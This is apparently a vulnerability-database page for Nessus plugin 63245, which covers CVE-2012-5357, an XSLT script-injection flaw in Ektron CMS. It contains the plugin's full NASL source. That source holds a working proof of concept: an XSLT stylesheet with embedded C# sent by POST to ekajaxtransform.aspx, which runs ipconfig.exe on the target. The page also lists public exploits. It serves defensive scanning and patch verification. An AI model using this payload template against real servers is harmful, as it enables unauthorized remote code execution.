Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution - Nessus

Critical   Plugin ID: 63245

This page contains detailed information about the Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 63245
Name: Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution
Filename: ektron_cms400_transformxslt_code_exec.nasl
Vulnerability Published: 2012-10-25
This Plugin Published: 2012-12-12
Last Modification Time: 2022-04-11
Plugin Version: 1.13
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: ektron_cms400_detect.nasl
Required KB Items [?]: www/ASP, www/cms400
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: Critical
Vulnerability Published: 2012-10-25
Patch Published: 2012-10-26
CVE [?]: CVE-2012-5357
CPE [?]: cpe:/a:ektron:cms4000.net

Synopsis

The remote web server hosts a web application that is affected by a remote code execution vulnerability.

Description

The version of Ektron CMS hosted on the remote web server is affected by a remote code execution vulnerability. The vulnerability arises because the 'ekajaxtransform.aspx' script utilizes the .NET 'XslCompiledTransform' class with 'enablescript' set to true.

Nessus was able to execute this vulnerability via a specially crafted POST request to run arbitrary C# code on the remote host.

Note that the version of Ektron installed on the remote host likely has other vulnerabilities that Nessus has not tested for.

Solution

Upgrade to Ektron CMS version 8.02 Service Pack 5 or higher.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution vulnerability:

  1. Metasploit: exploit/windows/http/ektron_xslt_exec
    [Ektron 8.02 XSLT Transform Remote Code Execution]
  2. Exploit-DB: exploits/windows/remote/23155.rb
    [EDB-23155: Ektron 8.02 - XSLT Transform Remote Code Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2012-5357
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.1 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.1 (Critical)

Go back to menu.

Plugin Source


This is the ektron_cms400_transformxslt_code_exec.nasl nessus plugin source code. This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(63245);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-5357");
  script_bugtraq_id(56816);
  script_xref(name:"MSVR", value:"MSVR12-016");

  script_name(english:"Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Ektron CMS hosted on the remote web server is affected
by a remote code execution vulnerability.  The vulnerability arises
because the 'ekajaxtransform.aspx' script utilizes the .NET
'XslCompiledTransform' class with 'enablescript' set to true. 

Nessus was able to execute this vulnerability via a specially crafted
POST request to run arbitrary C# code on the remote host.

Note that the version of Ektron installed on the remote host likely
has other vulnerabilities that Nessus has not tested for.");
  # https://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0cbc8f4d");
  # https://docs.microsoft.com/en-us/security-updates/VulnerabilityResearchAdvisories/2012/msvr12-016
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?14d036a5");
  # https://webhelp.episerver.com/Ektron/documentation/documentation/wwwroot/current/ReleaseNotes/ReleaseNotes_WebHelp.htm#Release8/8.02SP5.htm
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c6891b");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Ektron CMS version 8.02 Service Pack 5 or higher.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-5357");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Ektron 8.02 XSLT Transform Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/10/25");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/10/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/12");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:ektron:cms4000.net");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ektron_cms400_detect.nasl");
  script_require_keys("www/cms400", "www/ASP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

function encapsulate_xslt_payload(code_payload)
{
  return
  '<?xml version=\'1.0\'?>\n' +
  '<xsl:stylesheet version="1.0"\n' +
  'xmlns:xsl="http://www.w3.org/1999/XSL/Transform"\n' +
  'xmlns:msxsl="urn:schemas-microsoft-com:xslt"\n' +
  'xmlns:user="http://example.com/mynamespace">\n' +
  '<msxsl:script language="C#" implements-prefix="user">\n' +
  '<![CDATA[\n' +
  'public string xml()\n' +
  '{\n' +
  code_payload +
  '}\n' +
  ']]>\n' +
  '</msxsl:script>\n' +
  '<xsl:template match="/">\n' +
  '<xsl:value-of select="user:xml()"/>\n' +
  '</xsl:template>\n' +
  '</xsl:stylesheet>';
}

port = get_http_port(default:80, asp:TRUE);

install = get_install_from_kb(appname:'cms400', port:port, exit_on_fail:TRUE);
dir = install['dir'];

appname = "Ektron CMS400.NET";
report = '';

test_return_code = SCRIPT_NAME + rand();

# First test payload - more interesting but may not work in every environment
code_payload1 = 
'System.Diagnostics.Process p = new System.Diagnostics.Process();\n' + 
'p.StartInfo.UseShellExecute = false;\n' +
'p.StartInfo.RedirectStandardOutput = true;\n' +
'p.StartInfo.FileName = "ipconfig.exe";\n' +
'p.Start();\n' +
'p.WaitForExit();\n' +
'string output = p.StandardOutput.ReadToEnd();\n' +
'return output;';

# Second test payload - should work even in a restrictive environment
code_payload2 =
'return "' + test_return_code + '";\n';

postdata = "xml=AAA&xslt=" + urlencode(str:encapsulate_xslt_payload(code_payload: code_payload1));

res = http_send_recv3(method: "POST", 
                      item: dir + "/WorkArea/ContentDesigner/ekajaxtransform.aspx", 
                      port: port,
                      add_headers: make_array("Content-Type", "application/x-www-form-urlencoded;",
                                              "Referer", build_url(qs:'', port:port)), # Required
                      data: postdata, 
                      exit_on_fail: TRUE);

if ("Windows IP Configuration" >< res[2])
{
  vuln_request = http_last_sent_request();
  vuln_response = chomp(res[2]); 

  report = '\nNessus was able to exploit the vulnerability to run the \'ipconfig\'' +
           '\ncommand with the following request : ';

  report += '\n\n' + 
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
            vuln_request + '\n' +
            crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';

  if (report_verbosity > 1)
    report += '\nResponse : ' + '\n\n' + 
              crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
              vuln_response + '\n' +
              crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';
}
else
{
  # try backup payload 
  postdata = "xml=AAA&xslt=" + urlencode(str:encapsulate_xslt_payload(code_payload: code_payload2));
  res = http_send_recv3(method: "POST", 
                        item: dir + "/WorkArea/ContentDesigner/ekajaxtransform.aspx", 
                        port: port,
                        add_headers: make_array("Content-Type", "application/x-www-form-urlencoded;",
                                                "Referer", build_url(qs:'', port:port)), # Required
                        data: postdata, 
                        exit_on_fail: TRUE);

  if("200" >< res[0] && test_return_code == chomp(res[2])) 
  {
    vuln_request = http_last_sent_request();
    vuln_response = chomp(res[2]);
  
    report = '\nNessus was able to verify the vulnerability exists with the following' +
             '\nrequest : ';

    report += '\n\n' + 
              crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
              vuln_request + '\n' +
              crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';
  }
}

if (report != '')
{
  if (report_verbosity > 0) security_hole(port:port,extra:report);
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(port:port, qs:dir));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/ektron_cms400_transformxslt_code_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\ektron_cms400_transformxslt_code_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/ektron_cms400_transformxslt_code_exec.nasl

Go back to menu.

How to Run


Here is how to run the Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution plugin ID 63245.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl ektron_cms400_transformxslt_code_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a ektron_cms400_transformxslt_code_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - ektron_cms400_transformxslt_code_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state ektron_cms400_transformxslt_code_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: MSVR | Microsoft Vulnerability Research Advisory: See also: Similar and related Nessus plugins:
  • 49271 - OpenX Open Flash Chart ofc_upload_image.php File Upload Arbitrary Code Execution
  • 56512 - MyBB 1.6.4 Backdoor PHP Remote Code Execution
  • 56703 - phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution
  • 57691 - Apache Struts 2 Multiple Remote Code Execution and File Overwrite Vulnerabilities (safe check) (deprecated)
  • 58456 - Zenphoto viewer_size_image_saved Cookie Value eval() Call Remote PHP Code Execution
  • 58988 - PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution
  • 59056 - PHP 5.3.x < 5.3.13 CGI Query String Code Execution
  • 59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution
  • 59210 - Symantec Web Gateway upload_file() Remote Code Execution (SYM12-006) (intrusive check)
  • 59247 - Apache OFBiz FlexibleStringExpander Remote Code Execution
  • 60082 - Eaton Network Shutdown Module view_list.php paneStatusListSortBy Parameter eval() Call Remote PHP Code Execution
  • 61733 - TikiWiki unserialize() Function Arbitrary Code Execution
  • 61996 - EMail Security Virtual Appliance learn-msg.cgi Remote Code Execution
  • 62414 - WordPress A Page Flip Book Plugin for WordPress 'pageflipbook_language' Parameter Arbitrary Code Execution
  • 62892 - Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution
  • 62992 - NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)
  • 63185 - NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (version check)
  • 64557 - php-Charts url.php Remote PHP Code Execution
  • 66304 - W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 69170 - OpenNetAdmin dcm.php options[desc] Parameter Arbitrary Remote PHP Code Execution
  • 69195 - HP SiteScope Multiple Unspecified Remote Code Execution Vulnerabilities
  • 69371 - OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution
  • 69983 - HP SiteScope SOAP Call runOMAgentCommand SOAP Request Arbitrary Remote Code Execution
  • 70728 - Apache PHP-CGI Remote Code Execution
  • 72215 - MediaWiki < 1.19.11 / 1.21.5 / 1.22.2 Multiple Remote Code Execution Vulnerabilities
  • 72342 - Synology DiskStation Manager 4.0-x < 4.0-2259 / 4.1-x / 4.2-x < 4.2-3243 SLICEUPLOAD Function Remote Code Execution
  • 72966 - Artifactory < 3.1.1.1 XStream Remote Code Execution
  • 76193 - AlienVault OSSIM 'av-centerd' Remote Code Execution
  • 76284 - HP AutoPass License Server Remote Code Execution (HPSBMU03045)
  • 78893 - Citrix NetScaler Unspecified Remote Code Execution (CTX200206)
  • 83289 - Novell ZENworks Configuration Management < 11.3.2 Remote Code Execution (intrusive check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file ektron_cms400_transformxslt_code_exec.nasl version 1.13. For more plugins, visit the Nessus Plugin Library.

Go back to menu.